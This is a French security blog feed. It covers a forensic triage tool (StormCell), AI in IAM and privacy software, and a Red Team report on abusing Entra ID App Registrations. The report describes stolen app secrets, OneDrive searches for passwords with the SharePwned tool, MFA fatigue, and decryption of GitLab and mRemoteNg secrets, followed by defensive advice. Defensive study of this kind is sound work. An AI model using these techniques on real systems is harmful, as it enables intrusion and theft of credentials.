Au fond, bien aborder l’IA dans l’IAM, c’est avancer avec pragmatisme, en ciblant les usages présentant le meilleur équilibre entre valeur et complexité, en gardant la maîtrise des décisions sensibles et en restant attentif à la maturité réelle du marché.

6.    Cinq priorités pour lancer une trajectoire IA en IAM

En résumé, voici les points à garder en tête pour s’adapter à cette transformation :

1. Identifiez les cas d’usage IA qui ont réellement du sens pour l’IAM, qu’il s’agisse d’améliorer l’existant ou d’ouvrir de nouvelles capacités d’analyse et d’automatisation.
2. Définir objectivement la valeur et la complexité de chaque cas d’usage afin de les prioriser en vue de leur mise en œuvre.
3. Construisez une trajectoire progressive, maîtrisée et gouvernée, plutôt qu’accumuler des initiatives sans vision d’ensemble.
4. Le marché se structure rapidement : échangez avec vos éditeurs pour comprendre ce qu’ils proposent réellement.
5. Renseignez-vous aussi sur les nouvelles solutions émergentes, notamment IA-native, et n’hésitez pas à nous solliciter si vous souhaitez confronter vos premiers retours de terrain ou enrichir votre vision du marché.

Cet article IA pour l’IAM : Une trajectoire pragmatique plutôt qu’une révolution est apparu en premier sur RiskInsight.

Lorsque le CERT-Wavestone est engagé, trois priorités guident chaque action et chaque décision : endiguer la menace, comprendre l’attaque et éradiquer l’attaquant. Pour atteindre ces objectifs, établir une visibilité sur le périmètre impacté est la première étape indispensable.

Dans ces contextes où vitesse et efficacité sont non négociables, le CERT-Wavestone s’appuie sur de nombreux outils : solutions de cybersécurité (EDR, SIEM, etc.), collecteurs et parseurs open-source, et ses propres outils développés en interne.

Parmi ceux-ci, StormCell se distingue comme un outil open-source développé par le CERT-Wavestone pour automatiser le traitement des collectes forensiques Windows et libérer le temps des analystes afin qu’ils se concentrent sur ce qui compte vraiment : l’investigation elle-même.

Endiguer. Comprendre. Éradiquer. Chaque heure compte.

Des attaquants de plus en plus efficaces

Plusieurs acteurs de la réponse à incident s’accordent à dire que certains types de cyberattaques, comme les rançongiciels et les attaques par exfiltration de données, sont de plus en plus rapides. Les données publiées par Zero Day Clock (https://zerodayclock.com) illustrent cette tendance :

• Une part croissante des vulnérabilités zero day est activement exploitée chaque année, passant de 16 % en 2018 à 71 % en 2026,
• Un délai d’exploitation (Time to Exploit) en constante diminution est noté, tombant de plusieurs années en 2018 à moins d’une journée en 2026.

C’est également un constat partagé par l’équipe de réponse à incident de Wavestone (CERT-Wavestone) dans son dernier rapport annuel (voir : rapport annuel du CERT-Wavestone) basé sur une vingtaine d’incidents majeurs rencontrés par des clients de Wavestone au cours de l’année 2025 :

Dès lors, afin d’endiguer et de remédier aux incidents au plus tôt, notre équipe de réponse à incident se doit d’être la plus efficace possible dans ses analyses et prises de décision. Cela nécessite notamment une compréhension rapide du contexte et de l’incident.

L’anatomie d’une investigation du CERT-Wavestone

Chaque investigation CERT-Wavestone débute généralement sur un périmètre restreint avant de s’étendre rapidement à des dizaines de systèmes au fil de l’évolution de la situation :

• Étape 1 — Analyse initiale : Une fois le périmètre sécurisé et les premières mesures de confinement en place, le CERT-Wavestone évalue la situation sur un périmètre initial de machines suspectes ou compromises. Si le client dispose d’un SOC ou d’un CERT, la télémétrie et les outils de détection existants constituent un point de départ immédiat. Dans le cas contraire, CERT-Wavestone s’appuie sur les ressources disponibles pour réaliser des premières collectes forensiques et établir un premier état des lieux de l’attaque.
• Étape 2 — Investigation élargie : A mesure que la killchain se précise, l’investigation s’étend à des dizaines de machines compromises. Lorsque l’infrastructure du client ne permet pas de supporter des acquisitions à grande échelle, le CERT-Wavestone déploie son propre outil de collecte forensique pour recueillir les données de triage efficacement.
• Étape 3 — Recherche d’IoC sur l’ensemble du SI : Les indicateurs de compromission sont établis et la recherche s’étend à l’ensemble du système d’information. Si ce n’est pas déjà le cas, un EDR ou des outils alternatifs peuvent être déployés par le CERT-Wavestone. Les recherches d’IoC à grande échelle s’appuient sur les capacités natives de l’EDR, du SIEM ou des plateformes de collecte de logs.

Que ce soit durant l’étape 1 ou l’étape 2, chaque collecte nécessite le même pipeline standardisé : récupération, parsing, ingestion, identification des indicateurs de compromission (IoC) et corrélation entre les collectes. En conséquence, le traitement forensique manuel mobilise un temps et des ressources précieux, contraignant les analystes à gérer des opérations de traitement de données routinières plutôt que de se concentrer sur l’investigation.

Traiter chaque collecte individuellement et manuellement est un travail lent, source d’erreurs et d’incohérences, et s’adapte mal au nombre de machines à investiguer comme au nombre d’analystes mobilisés sur l’incident.

C’est précisément ce problème que StormCell, outil développé par le CERT-W, a été conçu pour résoudre.

StormCell : C’est quoi ?

StormCell est un outil développé par le CERT-Wavestone pour répondre à un besoin de longue date : un orchestrateur d’analyse forensique Windows qui s’adapte à de multiples contextes d’investigation, automatise le traitement de bout en bout des données de triage, de l’extraction des artefacts jusqu’à leur ingestion centralisée dans une plateforme SIEM, et libère les analystes pour qu’ils se concentrent sur l’investigation, et non sur le pipeline.

Développé en python afin de le rendre facile d’utilisation, l’outil a récemment été publié sur GitHub afin d’être accessible en source ouverte par l’ensemble de la communauté de réponse à incidents : https://github.com/CERT-W/StormCell. Le CERT-Wavestone souhaite que cet outil puisse être utilisé, confronté et amélioré directement par la communauté.

Bien que d’autres outils similaires aient été développés et publiés depuis le début de son développement, StormCell se démarque par sa modularité ainsi que ses choix technologiques, pensés pour garantir à la fois rapidité d’exécution et grande adaptabilité.

Les trois étapes clés : ingestion, traitement et centralisation

Le fonctionnement de StormCell repose sur trois étapes clés :

Afin de les mener à bien, StormCell repose sur un ensemble d’outils tiers : que ce soit pour la collecte et le traitement des artéfacts avec Kape, l’enrichissement et l’envoi des journaux dans un SIEM avec Vector ou bien les fonctionnalités de recherche d’un SIEM avec Splunk ou ELK.

Malgré ces dépendances, l’outil n’a besoin d’être installé et configuré qu’une seule fois sur un unique poste d’investigation avant d’être utilisé tout au long de la réponse à incident par l’ensemble des analystes.

Extraction et ingestion de données

StormCell est développé afin de fonctionner avec deux types de collectes : les copies de disque et les extractions ZIP d’artéfact réalisées avec Kape.

Lorsque StormCell est exécuté sur une copie de disque, il va directement utiliser Kape afin d’en extraire les artéfacts pertinents.

Des archives ZIP compatibles peuvent quant à elles également être générées avec l’outil du CERT-Wavestone CollectRaptor, reposant sur Velociraptor, ou toute autre collecte réalisée avec le module KapeTarget de Velociraptor.

Traitement et enrichissement des artéfacts

Une fois les artéfacts bruts à disposition, le cœur de la chaîne de traitement entre en jeu : les artefacts sont traités avec Kape.

Kape est utilisé car c’est un outil dédié au traitement d’artéfacts Windows. Il permet, au moyen de modules, d’exécuter automatiquement de multiples outils tels que la suite de Zimmermann, Hayabusa ou bien encore Chainsaw. De plus, les journaux traités par Kape sont directement organisés par catégorie d’artéfact (exécutions, système de fichier, registres, etc.), permettant une analyse locale manuelle efficace en cas de besoin.

Au total, StormCell utilise Kape pour exécuter plus d’une trentaine d’outils de traitements des artéfacts, chacun couvrant un spectre d’analyse complémentaire, assurant une exhaustivité des éléments à disposition des analystes.

L’ensemble de ces outils peut facilement être téléchargé avec à la commande d’installation de StormCell, décrite dans son Readme. La configuration modulaire de StormCell permet par ailleurs de facilement intégrer de nouveaux outils de traitement des journaux.

Centralisation dans un SIEM

Une fois que les artéfacts ont été traités par Kape, les journaux générés sont normalisés, enrichis et envoyés vers une plateforme SIEM par Vector, un outil open source notamment adapté à l’envoi d’une volumétrie importante de données.

Afin d’identifier quels artéfacts envoyer, ainsi que les normalisations et enrichissements à appliquer, Vector repose sur ses fichiers de configuration TOML qui intègrent des parsers qui structurent les données brutes en champs exploitables et des sinks (destinations de sortie) qui acheminent les événements vers l’environnement ciblé,  instance ELK ou Splunk de nos clients, ou sur une instance ELK interne dédiée du CERT-Wavestone.

Pour récupérer ces configurations, StormCell utilise les configurations du répertoire Github Vector4IR dont le CERT-Wavestone est contributeur.

Un gain de temps majeur pour les analystes

Par l’enchaînement de ces trois étapes, chaque collecte forensique n’a besoin d’être traitée qu’une unique fois avant d’être rendue accessible dans un SIEM à l’ensemble des analystes. Ainsi, il est possible de réaliser des investigations globales en exploitant au maximum les fonctionnalités inhérentes aux technologies SIEM : langages de recherches, tableaux de bord et requêtes enregistrées, lookups et tableaux de données, fonctionnalités de corrélation, etc.

La récupération des collectes et l’exécution dans StormCell peut être portée par un unique analyste pendant que les autres peuvent déjà investiguer en temps réel au fur et à mesure de l’arrivée des journaux.

Les modes d’exécution de StormCell

Conformément aux détails sur l’installation et la configuration de StormCell à disposition dans le Readme du répertoire Github, une commande setup peut être utilisée afin de télécharger l’ensemble des outils nécessaires au fonctionnement intégral de StormCell. Par ailleurs, de nombreuses options, détaillées dans le fichier de configuration par défaut ainsi que la commande d’aide sont disponibles afin de convenir aux différents besoins d’exécution.

Il est par exemple possible de préciser quels modules Kape exécute ou bien de forcer un nouveau traitement et envoi des journaux. StormCell utilisant un fichier de base de données locale pour assurer une persistance entre plusieurs exécutions successives, il est possible d’entièrement réinitialiser son comportement en supprimant cette base.

Enfin, StormCell propose trois modes d’exécution complémentaires, pensés pour s’adapter à chaque contexte d’investigation, du périmètre restreint à la crise de grande ampleur, et permettre aux analystes d’être opérationnels le plus rapidement possible, quel que soient le type de ressources à leurs dispositions.

Mode Once : Petits périmètres et besoin d’investigation rapide

Conçu spécifiquement pour des investigations ciblées, au périmètre plus restreint, ce mode permet de traiter en une seule exécution un ensemble de collectes d’ores et déjà disponibles.

Après configuration spécifique par les analystes, l’outil s’exécute et permet l’analyse des collectes sans étape supplémentaire.

Mode Mountpoint : collecte locale et analyse, en une seule commande

Mountpoint constitue le mode d’exécution de bout en bout de StormCell : Il va de la collecte des artefacts sur un disque ou copie forensique monté localement à l’envoi dans le SIEM.

Ce mode est privilégié lors de l’analyse de disques complets mis à disposition pour l’investigation pour des raisons opérationnelles, et inclus nativement l’extraction d’artefacts grâce aux fonctionnalités intégrées de Kape.

Une fois l’extraction réalisée, son fonctionnement est similaire au mode Once.

Mode Loop : Traitement en continu pour les investigations de grande ampleur

Privilégié par le CERT-Wavestone, ce mode de fonctionnement est pensé pour les crises de plus grande ampleur et a pour but de permettre l’exécution de StormCell en continu, tout au long de l’incident. Après configuration, l’outil surveille un dossier et traite toutes les collectes déposées par les analystes.

Ce point de dépôt centralisé devient le cœur logistique de l’investigation : une fois en place, les analystes n’ont plus à se soucier du traitement des collectes, que l’incident dure quelques jours ou plusieurs semaines, et peuvent ensuite accéder aux données traitées dans la solution SIEM utilisée.

Enfin, deux niveaux de traitement des artefacts sont configurables pour répondre au mieux au besoin des analystes lorsque les investigations sont menées sur de nouvelles machines :

• Short : un traitement allégé privilégiant la rapidité, adapté aux analyses de surface pour qualifier rapidement une machine et prioriser les investigations.
• Long : un traitement exhaustif activant des modules d’analyse en profondeur, conçu pour les investigations approfondies nécessitant une vision complète de l’activité de la machine.

Les modules à exécuter sur chacun de ces modes est librement configurable par les analystes utilisant StormCell. Ces deux modes de fonctionnement complémentaires permettent notamment de déposer dans un premier temps les archives dans le dossier Short pour obtenir une liste rapide mais non exhaustive d’artéfacts, puis dans un second temps les déposer dans le dossier Long pour obtenir une liste exhaustive d’artéfacts.

StormCell : Quoi de plus ?

StormCell est aujourd’hui un outil clé fréquemment utilisé au sein du CERT-Wavestone afin d’accélérer le traitement des artefacts Windows lors de ses investigations.

Il est prévu d’étendre les capacités d’orchestration de l’outil aux investigations sur des environnements Cloud (notamment M365), Linux et macOS, tout en étudiant l’apparition de nouvelles sources forensics et des technologies avancées comme l’utilisation de l’IA.

C’est pourquoi le CERT-Wavestone vous invite à contribuer à son évolution : fork, pull requests et retours d’expérience sont les bienvenus pour faire de StormCell un outil le plus adapté possible aux besoins de réponse à incidents.

Cet article StormCell : Quand la Blue Team passe à l’échelle en réponse à incident est apparu en premier sur RiskInsight.

Par défaut sous-estimées par les équipes techniques internes et de défense, souvent sur-privilégiées, les App registrations peuvent permettre des pivots puissants suite à la compromission de l’environnement cloud.

Parmi les services les plus exposés, Microsoft SharePoint se distingue. Présent sur la majorité des tenants M365, souvent configuré de manière permissive, il offre un accès aux fichiers de l’entreprise via SharePoint et des collaborateurs au travers de OneDrive.

Cet article revient sur plusieurs constats observés en opération Red Team : comment une simple App Registration, liée de près ou de loin à SharePoint, peut offrir un accès élargi à votre SI on-premise, et comment l’exploitation de ce maillon faible permet parfois de faire de votre segmentation en Tiers une simple formalité pour l’attaquant.

Introduction aux App Registrations

Dans Microsoft Azure, l’enregistrement d’une application (App Registration) dans Entra ID permet de créer une identité pour cette application, ainsi qu’une Enterprise Application associée. L’App Registration définit l’application (identifiants, clés, permissions), tandis que l’Enterprise Application représente son instance dans le tenant, sur laquelle sont appliquées les politiques d’accès (comme l’authentification conditionnelle portée par les politiques d’accès conditionnels ou les rôles attribués).

Une App Registration contient les informations requises pour s’authentifier auprès d’Entra ID et obtenir des jetons d’accès pour interagir avec des services Microsoft 365 via des API comme Microsoft Graph. Selon les permissions qui lui sont accordées (déléguées (scopes) ou applicatives (rôles)) elle peut lire ou modifier des ressources telles que des mails, des fichiers, des utilisateurs ou des groupes tant que l’Enterprise Application est instanciée dans le tenant.

Généralement utilisées pour enregistrer une application visant à automatiser des processus métiers (gestion des utilisateurs, nettoyage de fichiers SharePoint, supervision de l’activité O365…), elles constituent une surface peu surveillée, mais à fort impact.

En effet, les secrets des App Registrations (certificats, client secrets) sont souvent stockés de manière non sécurisée (dans des dépôts de code, postes de travails, serveurs). Ces secrets permettent de personnifier une application avec des privilèges potentiellement élevés (listés dans l’App Registration) entraînant une persistance discrète sur les ressources de l’entreprise.

Pour un attaquant, compromettre une App Registration revient à s’approprier une identité applicative EntraID disposant d’un accès direct à certaines données de l’entreprise, sans nécessiter de rebond par des comptes utilisateurs interactifs ni MFA. Alors que les sécurités se multiplient autour des comptes utilisateurs (MFA obligatoire, accès conditionnel imposant une adresse IP ou un appareil de confiance), il est souvent constaté que celles-ci ne sont pas encore appliquées aux applications.

Se connecter en tant qu’une App Registration

Les applications Azure peuvent s’authentifier auprès d’Entra ID à l’aide de secrets d’application générés dans l’App registration associée :

• AppId + App Secret: Ce moyen d’authentification, équivalent à l’usage d’un nom d’utilisateur et d’un mot de passe est soumis aux mêmes limitations : il est compliqué d’assurer leur protection car ils peuvent facilement se retrouver stockés de manière non sécurisée, exposés dans les historiques de commandes, etc…

• AppId + Certificat: Cette méthode de connexion est davantage sécurisée, puisque les solutions de sécurité installées sur les machines protègent de manière efficace les certificats installés. Néanmoins, celle-ci est généralement moins utilisée en raison des contraintes d’utilisation qu’elle implique, telle que l’installation du certificat sur chaque machine nécessitant l’utilisation du compte.

Les identifiants et secrets d’une application lui permettent de récupérer un jeton d’accès OAuth2, afin de s’authentifier et d’appeler des API Microsoft (Graph, SharePoint, Exchange, etc.) qu’elle est autorisée à contacter. Ce mode de connexion est généralement difficile à détecter si les journaux d’accès ne sont pas activés ni supervisés.

Les droits d’une App Registration

Chaque App Registration définit les permissions API associées à l’application enregistrée. Elles sont décrites sous forme de rôles ou de scopes, sur différents services Microsoft. A titre d’exemples, ces autorisations d’application peuvent permettre de :

• Lire ou modifier des profils utilisateurs (User.ReadWrite.All) ;
• Gérer des objets dans l’annuaire Entra ID (Directory.ReadWrite.All) ;
• Lire, écrire ou supprimer des fichiers SharePoint ou OneDrive (Files.ReadWrite.All) ;
• Lire ou écrire des mails dans toutes les boîtes mails (Mail.ReadWrite) ;
• Etc.

Lors des audits, il est constaté que ces droits sont souvent surdimensionnés par rapport aux besoins réels des applications. Ils peuvent ainsi offrir à un attaquant un levier d’élévation de privilèges majeur s’ils sont récupérés.

D’autre part, un attaquant peut identifier les droits d’une application au travers de l’App Registration associée et compromise en s’authentifiant via l’URL https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token :

Le jeton d’accès obtenu est au format base64, et les droits définis par l’App Registration y sont présents :

Compromission d’App Registrations en opération Red Team

Dans le cadre d’une attaque, il est très fréquent que la compromission s’opère de manière progressive.

Généralement, un premier serveur est compromis, puis un second, etc. jusqu’à atteindre des composants plus critiques de l’infrastructure ou des utilisateurs davantage privilégiés : accès initial, élévation de privilèges, latéralisation, et ainsi de suite.

Ces dernières années, l’implémentation du modèle en Tiers (Tier-0, Tier-1 et Tier-2) au sein des infrastructures Active Directory s’est généralisée, avec par la même occasion une augmentation du niveau de sécurité des SI on-premise. Un nouveau facteur s’est également ajouté avec le développement des agents EDR : la détection !

Dorénavant au sein d’environnements matures, il est plus difficile de compromettre le Tier-0 (contrôleur de domaine, PKI, etc.) par la simple compromission d’un serveur Tier-1, le tout sans se faire détecter par la Blue Team, l’équipe de défense.

Toutefois, au cours de plusieurs opérations au sein d’environnement très variés, SharePoint s’est présenté comme un vecteur d’élévation de privilèges redoutable, et où aucune détection n’a été remontée côté Blue Team.

Plusieurs retours d’expériences d’opérations Red Team illustrant ce propos sont partagés ci-dessous.

Cas n°1 : Administrateur Tier-2 d’un sous-domaine vers la compromission de la forêt Active Directory

Ce cas illustre une opération pour un client international dont le SI se compose de plusieurs milliers de serveurs, qu’il s’agisse de serveurs applicatifs et métiers, industriels, d’infrastructure, etc. La compromission d’un premier serveur a engendré la compromission de comptes administrateurs Tier-1 puis Tier-2.

Dès l’obtention de privilèges d’administration acquis sur des postes de travail (Tier-2), une phase de collecte ciblée s’est amorcée dans le but d’identifier des secrets applicatifs.

Sur plusieurs postes d’utilisateurs à profil technique (équipes DevOps, Cloud, etc.), des scripts PowerShell sont découverts. Certains contiennent des identifiants liés à des App Registrations, avec un AppId, un AppSecret, ainsi que l’identifiant du tenant Azure auquel ils sont associés :

L’exploitation de ces secrets permet à l’attaquant de se connecter directement à la Microsoft Graph API, avec les autorisations déjà consenties définies dans l’App Registration compromise.

L’App Registration identifiée dans ce contexte contient des droits d’application étendus sur O365, notamment :

• User.ReadWrite.All: Lire et modifier tous les profils utilisateurs.
• Directory.Read.All: Lire les données du répertoire.
• Directory.ReadWrite.All: Lire et écrire les données du répertoire.
• Group.ReadWrite.All: Lire et écrire toutes les informations des groupes.
• Files.ReadWrite.All: Lire et écrire tous les fichiers.
• Mail.ReadWrite: Lire, créer, supprimer des mails en toutes les boîtes mails.
• Calendars.ReadWrite: Lire et écrire tous les calendriers.
• Contacts.ReadWrite: Lire et écrire tous les contacts.
• Tasks.ReadWrite: Lire et écrire toutes les tâches.

Parmi cet ensemble de permissions d’application, le droit Files.ReadWrite.All s’avère particulièrement critique et intéressant pour un attaquant, autorisant un accès complet à tous les fichiers stockés sur SharePoint et OneDrive.

Note : Ces permissions peuvent être « déléguées » et dans ce cas ne s’appliquent que dans le contexte de ce que peut faire l’utilisateur.

Un script PowerShell a été développé par l’équipe Red Team Wavestone (SharePwned) afin d’effectuer des recherches sur SharePoint et OneDrive basées sur des mots-clefs, et télécharger les fichiers souhaités.

Par le biais de ce script et via une recherche sur le nom de domaine de la forêt d’administration Active Directory (admin.xx.xxxx.net), plusieurs fichiers ont été identifiés au sein d’espaces OneDrive d’utilisateurs, puis téléchargés :

Ces fichiers, stockés sur l’espace OneDrive d’utilisateurs à privilèges, permettent d’identifier les serveurs de rebond utilisés pour accéder à la forêt Active Directory d’administration du SI.

Le stockage non sécurisé des secrets sur les postes de travail et espaces Cloud représente une faille de sécurité majeure. Pour autant, l’absence de sécurité et de supervision autour de cette App Registration liée à d’importants privilèges représente une vulnérabilité critique dès lors qu’une Enterprise Application associée est instanciée dans le tenant.

Dans le cas présent, la compromission du Tier-2, puis l’accès en lecture aux fichiers stockés sur les espaces OneDrive des collaborateurs a permis d’identifier rapidement les secrets et rebonds réseaux nécessaires à la compromission du Tier-0 de l’entreprise.

Cas n°2 : Accès distant au réseau d’entreprise du Groupe à partir de la compromission d’une filiale

Ce second cas présente une opération Red Team ciblant une entreprise disposant de nombreuses filiales et dont les réseaux ne communiquent pas entre eux.

Tout d’abord, le SI d’une première filiale a été compromis, ainsi que son tenant Azure.

A des fins de persistances et de recherches, une App Registration a alors été créée par la Red Team, tout en ajoutant l’autorisation d’application Files.Read.All.

En téléchargeant les secrets de l’application lors de sa création, il est une nouvelle fois possible d’utiliser l’outil développé par la RT Wavestone pour effectuer des recherches SharePoint et OneDrive :

En effectuant des recherches de mots de passe, des comptes associés à des solutions d’accès distants à l’entreprise cible du Red Team sont identifiés. En effet, certains membres des équipes Finance de la filiale compromise disposent d’accès à la solution de bureau distant du groupe, et stockent leur mot de passe en clair sur leur espace OneDrive.

Bien qu’un MFA soit configuré pour l’ensemble des utilisateurs de cette solution, seule une approbation de la notification est requise, et aucun code n’est demandé. En noyant les utilisateurs de notifications MFA, l’un d’eux a finalement validé l’authentification, permettant aux opérateurs Red Team d’accéder temporairement à la solution de bureau distant.

Finalement, en accédant à l’application de Finance hébergée sur une machine virtuelle Windows, un accès au réseau interne du groupe est récupéré.

Ainsi, à partir d’une compromission de filiale sans interconnexion directe avec le réseau groupe, l’usage d’App Registrations a permis une fois encore de découvrir des secrets et rebondir sur le SI groupe.

Cas n°3 : Compromission de l’EDR déployé sur les contrôleurs de domaine à partir de la chaîne CICD

La compromission de l’environnement CICD du client (hébergé sur AWS) a mené à la compromission de son serveur GitLab. Avec les droits root sur le serveur GitLab, il est possible d’accéder à sa base de données, et aux secrets qui y sont stockés. Bien que ceux-ci soient chiffrés, il est possible de les déchiffrer via la console GitLab Rails.

Parmi ces secrets, des clientID et clientSecrets Azure d’une App Registration sont récupérés. Ces identifiants d’accès permettent de se connecter à Azure sous l’identité de l’application associée, dans le cas présent sous l’identité de l’application GitLab.

Sur le tenant client, l’application GitLab dispose d’un rôle de contributeur sur les ressources d’une souscription Azure. Cela signifie qu’elle peut gérer les accès aux ressources, et en lire le contenu.

Parmi les ressources accessibles, des secrets sont stockés (et accessibles en lecture) dans un coffre-fort Azure Vault. En particulier, des clientId et clientSecret y sont présents :

Une nouvelle application Azure, nommée xxxxx-NettoyageSharePoint, est ainsi obtenue. Celle-ci possède les permissions nécessaires pour lire l’intégralité de SharePoint et OneDrive.

En utilisant une première version de l’outil SharePwned, une recherche de secrets est effectuée au sein des espaces OneDrive des collaborateurs. Des secrets stockés de manière non sécurisée sont découverts dans des fichiers de configuration d’outils d’administration, tels que mRemoteNg. Ces fichiers de configuration contiennent généralement des mots de passe chiffrés avec une clé publique connue. Ainsi, il est possible de les déchiffrer et obtenir les mots de passe en clair des utilisateurs :

Le compte récupéré ici dispose de privilèges d’administration sur l’application IAM de l’entreprise.

Après de multiples recherches de documentations sur SharePoint, toujours en utilisant l’outil SharePwned afin de cibler les recherches, l’équipe Red Team a pu comprendre les moyens d’intervention de l’équipe SOC sur le Système d’Information, les coffres-forts où sont stockés leurs secrets, et les droits nécessaires pour y accéder.

Alors, en utilisant le compte administrateur de l’IAM récupéré dans OneDrive, une attaque se basant sur les procédures d’intervention du SOC a été réalisée pour compromettre intégralement le Système d’Information on-premise du client.

Dans ce cas de figure également, des recherches ciblées sur SharePoint et OneDrive ont permis de récupérer de l’information technique très intéressante pour un attaquant, notamment l’agent EDR déployé sur les DC, les secrets nécessaires à son utilisation, les droits à s’attribuer pour y accéder.

Au-delà des mots de passe récupérés (chiffrés ou non) dans l’ensemble des scénarios précédemment décrits, SharePoint et OneDrive représentent un accès à la connaissance du SI pour l’attaquant. Lorsque l’attaquant se veut discret, il doit reproduire au mieux les flux métiers et d’administrations légitimes de l’entreprise. Le prérequis à cela est tout d’abord de les connaître, pour ensuite les comprendre et les appliquer.

Protéger et détecter les usages malveillants des App Registrations

Comme énoncé précédemment, SharePoint et OneDrive ont permis l’obtention de secrets relativement sensibles et compromettants pour les SI clients. Il reste donc primordial de sensibiliser les collaborateurs au stockage sécurisé des secrets et de les outiller à ces mêmes fins.

Malgré cela, il convient d’appliquer des processus et des mesures de sécurité à ces applications afin de leur faire respecter les principes de moindre privilège et de défense en profondeur. Ci-dessous sont listées des recommandations à appliquer à ces App Registrations.

Revue régulière et principe de moindre privilège

Il convient d’inventorier les applications disposant des permissions sur SharePoint et restreindre ces applications au strict minimum. Les permissions en question sont les suivantes :

• Sites.Read.All;
• Sites.ReadWrite.All;
• Sites.FullControl;
• Files.Read.All;
• Files.ReadWrite.All.

Au même titre que pour les utilisateurs et groupes à privilèges, une revue régulière de ces App Registrations est nécessaire.

Gestion et supervision des secrets

Afin d’éviter que des App Secret ne se retrouvent stockés de manière non sécurisée (au sein de scripts, documentations, mails, etc.), il est recommandé de préférer l’usage de certificats de connexion.

De manière générale, les secrets de connexion doivent faire l’objet d’un renouvellement régulier et automatisé.

La création d’une App Registration génère automatiquement la création d’une Enterprise Application. Lorsque celle-ci se voit attribuer des permissions de lecture sur SharePoint, un consentement de la part d’un Global Administrator est nécessaire. Il n’est ainsi pas trivial pour un attaquant de créer ce type d’applications privilégiées et l’ajout d’un secret à une application existante à privilèges sera souvent préférée par l’attaquant.

Il convient donc de superviser la création de nouveaux secrets de connexion sur les applications à privilèges.

Réduire la surface d’exposition

Enfin, il est recommandé de limiter les capacités d’utilisation de ces applications. Il peut s’agir de restrictions sur l’adresse IP source ou encore sur les plages horaires d’utilisation de l’application.

Note : Il n’est pas toujours nécessaire d’appliquer ces mesures en mode « bloquant ». En effet, une détection sans blocage peut déjà permettre à la Blue Team de prendre connaissance de l’attaque et amorcer sa réponse.

Cet article SharePoint & App Registrations : Vecteur de compromission du SI et RETEX Red Team est apparu en premier sur RiskInsight.

Pour soutenir nos clients, nous avons examiné plusieurs solutions privacy pilotées par l’IA. Cet article donne un aperçu des fonctionnalités offertes par les principaux acteurs du marché privacy, notamment OneTrust, Smart Global Governance, Witik, Dastra, EQS, Secure Privacy, DataGrail, BigID, Collibra, Privacy License et Ardent. Cette liste n’est pas exhaustive, mais elle met en lumière les principaux fournisseurs que nous avons identifiés parmi nos clients.

Le radar ci-dessous présente un résumé des résultats de l’étude, offrant un aperçu des capacités des différentes solutions en matière de fonctionnalités d’IA. Il servira d’outil précieux pour les organisations afin d’identifier quelles solutions correspondent le mieux à leurs besoins et priorités spécifiques.

Figure 1 : Radar des solutions Privacy intégrant l’IA

Les fonctionnalités IA en privacy

Lors de notre évaluation comparative, nous avons identifié cinq types principaux de fonctionnalités pour l’utilisation de l’IA dans les solutions privacy. Ces cinq catégories couvrent les principales fonctionnalités récurrentes trouvées dans les solutions des éditeurs. Bien que chaque catégorie regroupe des fonctionnalités similaires, certaines fonctionnalités uniques de l’IA peuvent ne pas entrer dans ces catégories.

Figure 2 : Catégories de fonctionnalités IA en privacy

   1. Génération assistée de documents privacy

Les solutions d’IA peuvent générer automatiquement des questionnaires et des évaluations pour les audits de conformité, les enquêtes de satisfaction, les rapports personnalisés et même les registres de traitement des données. Ces outils permettent de personnaliser le contenu en fonction des exigences spécifiques. Certaines solutions intègrent même la possibilité d’importer des documents existants pour optimiser la génération de documents.

Exemple d’utilisation : générer une proposition de modèle d’évaluation des fournisseurs.

Ce type de fonctionnalité démontre d’une maturité déjà avancée et permet de rédiger rapidement plusieurs documents qui prendraient autrement beaucoup plus de temps.

Score de maturité :

   2. Analyse et complétion intelligentes de document

L’analyse intelligente de documents utilise l’IA pour examiner des documents complexes, extraire des informations clés et identifier les risques de conformité. Elle ne génère que des brouillons initiaux de réponses aux questions, aidant ainsi les utilisateurs à ne pas partir de zéro. Un contrôle humain est nécessaire pour vérifier la qualité de ces brouillons.

Exemple d’utilisation : générer un premier brouillon de privacy by design pour un nouveau traitement de données RH.

Ce type de fonctionnalité est considérée comme mature et permet de rédiger rapidement des réponses dans des questionnaires ou divers documents, réduisant ainsi considérablement le temps nécessaire à leur achèvement.

Score de maturité : 

   3. Plan de conformité assisté par IA

Les solutions d’IA peuvent créer des plans d’action de conformité, gérer des tâches, automatiser des flux de travail, et assurer ainsi une exécution fluide des processus de mise en conformité. Ces outils optimisent le temps et les ressources, simplifiant ainsi l’achèvement des workflows.

Exemple d’utilisation : automatisation des réponses aux demandes d’accès des personnes concernées.

Ce type de fonctionnalité émerge notamment avec l’arrivée des agents IA. Dans un an environ, cette technologie devrait gagner en maturité et permettre une plus grande précision dans les combinaisons de tâches proposées pour simplifier les flux de travail.

Score de maturité :     

   4. Assistants IA

Les assistants conversationnels IA fournissent une assistance en temps réel aux employés et aux clients en répondant à leurs questions et en les guidant à travers les processus de conformité. En général, ces assistants IA sont pré-entraînés avec des référentiels de réglementation ou des documents juridiques. Ils peuvent également être adaptés avec des documents choisis par le client et téléchargés dans un environnement de travail sécurisé fourni par l’éditeur. Leur utilisation améliore l’accessibilité et la réactivité des services de conformité.

Exemple d’utilisation : Privacy-GPT permettant de répondre à des questions telles que « pouvez-vous me rappeler les règles de suppression des données pour les CV ? »

Cette fonctionnalité est facilement disponible et peut être mise en œuvre aisément au sein des entreprises en utilisant des configurations simples d’agents IA comme Copilot.

Score de maturité : 

   5. Gestion des cookies et du consentement avec l’IA

Il est possible d’utiliser l’IA pour générer automatiquement des bannières de consentement aux cookies, en tenant compte des principaux paramètres tels que la langue, le pays et les réglementations applicables. Elle automatise également la création de politiques de privacy et de gestion des cookies, adaptées aux critères juridiques régionaux et linguistiques. De plus, certaines solutions incluent une classification intelligente des cookies, permettant d’identifier, de catégoriser et de gérer les cookies sur un site web.

Cette fonctionnalité est rare, et peu d’éditeurs ont poursuivi son développement.

Score de maturité :  

Comment tirer le meilleur parti de la maturité actuelle des outils d’IA ?

Le benchmark indique que les solutions privacy basées sur l’IA offrent des avantages notables en matière de conformité et d’efficacité au travail, bien que certaines limites soient à prendre en compte.

Avantages :

• Conformité et gain de temps : Les solutions privacy basées sur l’IA peuvent améliorer et simplifier les travaux autour de la conformité.
  • Les fonctionnalités de l’IA visent à gagner du temps, en particulier pour les tâches répétitives et longues. Cela peut impliquer, par exemple, le pré-remplissage de questionnaires, l’automatisation des flux de travail…
